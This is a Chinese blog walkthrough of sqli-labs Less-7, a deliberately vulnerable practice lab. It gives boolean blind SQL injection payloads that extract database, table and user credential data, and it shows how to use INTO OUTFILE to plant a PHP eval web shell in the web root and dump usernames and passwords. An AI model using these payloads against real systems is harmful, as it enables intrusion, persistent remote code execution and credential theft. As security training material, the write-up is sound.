【Try to Hack】sql注入 Less7 (into outfile和布尔盲注)

举报
开心星人 发表于 2022/07/23 09:49:56 2022/07/23
【摘要】 📒博客主页:开心星人的博客主页🔥系列专栏:Try to Hack🎉欢迎关注🔎点赞👍收藏⭐️留言📝📆首发时间:🌴2022年7月19日🌴🍭作者水平很有限,如果发现错误,还望告知,感谢!@toc 🍫判断闭合方式?id=1?id=1’加单号会报错,但是没有告诉我们具体的报错信息,所以无法使用报错注入发现使用?id=1" 、?id=1") 、?id=1")) 不会报错发现使用?i...

📒博客主页:开心星人的博客主页
🔥系列专栏:Try to Hack
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年7月19日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

@toc

🍫判断闭合方式

?id=1
在这里插入图片描述
?id=1’
在这里插入图片描述
加单号会报错,但是没有告诉我们具体的报错信息,所以无法使用报错注入

发现使用?id=1"?id=1")?id=1")) 不会报错
发现使用?id=1'?id=1')?id=1')) 会报错

不会报错的直接不看,肯定不是那种闭合方式
然后测试 ?id=1'--+?id=1')--+?id=1'))--+

?id=1’))--+没有报错,所以闭合方式为’))

🍫布尔盲注

根据上面所述的,会有报错和不报错两种情况,所以就是bool型的
?id=1')) and 1=1--+ 不报错
?id=1')) and 1=2--+ 报错

?id=1')) and length(database())=8--+ 获取数据库长度
?id=1')) and substr(database(),1,1)='s'--+ 获取数据库第一个字符
?id=1')) and ascii(substr(database(),1,1))=115--+ 获取数据库第一个字符
?id=1')) and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'
获取数据库第一张表名的第一个字符
?id=1')) and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+ 获取security数据库中users表中第一个字段的第一个字符
?id=1')) and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))=68--+ 获得security数据库中users表中的第一个数据的第一个字符

🍫into outfile写入小马

首先数据库得要有写权限
【Try to Hack】udf提权,有提到

对文件进行导入导出首先得要有足够的权限,
但是mysql默认不能导入和导出文件,这与secure_file_priv的值有关(默认为null)
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1、当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
2、当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
用以下命令查看secure_file_priv的值
show variables like ‘%secure%’;

D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini加上secure_file_priv="/"
在这里插入图片描述

?id=1')) order by 4--+ 查字段 , into outfile的时候需要知道字段数目
在这里插入图片描述
报错了很容易知道字段数为3

使用@@datadir来查询数据库的路径,可以使用上一步中提到的盲注来获得路径

写入文件路径为
D:\phpstudy_pro\WWW\sqli-labs-master\Less-7

需要对反斜线进行转义 D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7

?id=-1')) union select 1,2,'<?php @eval($_POST["admin"])?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php'--+
写入一个小马

用蚁剑去连接
在这里插入图片描述
在这里插入图片描述

🍫直接into outfile导出数据库名称、表名、字段名、数据值

?id=-1')) union select 1,user(),database() into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.txt' --+
在这里插入图片描述

会显示报错,但是已经能够查看了
在这里插入图片描述
?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\3.txt'--+
在这里插入图片描述
?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\4.txt'--+
在这里插入图片描述

?id=-1')) union select 1,username,password from users into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\5.txt'--+
在这里插入图片描述

很多内容来自这篇

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。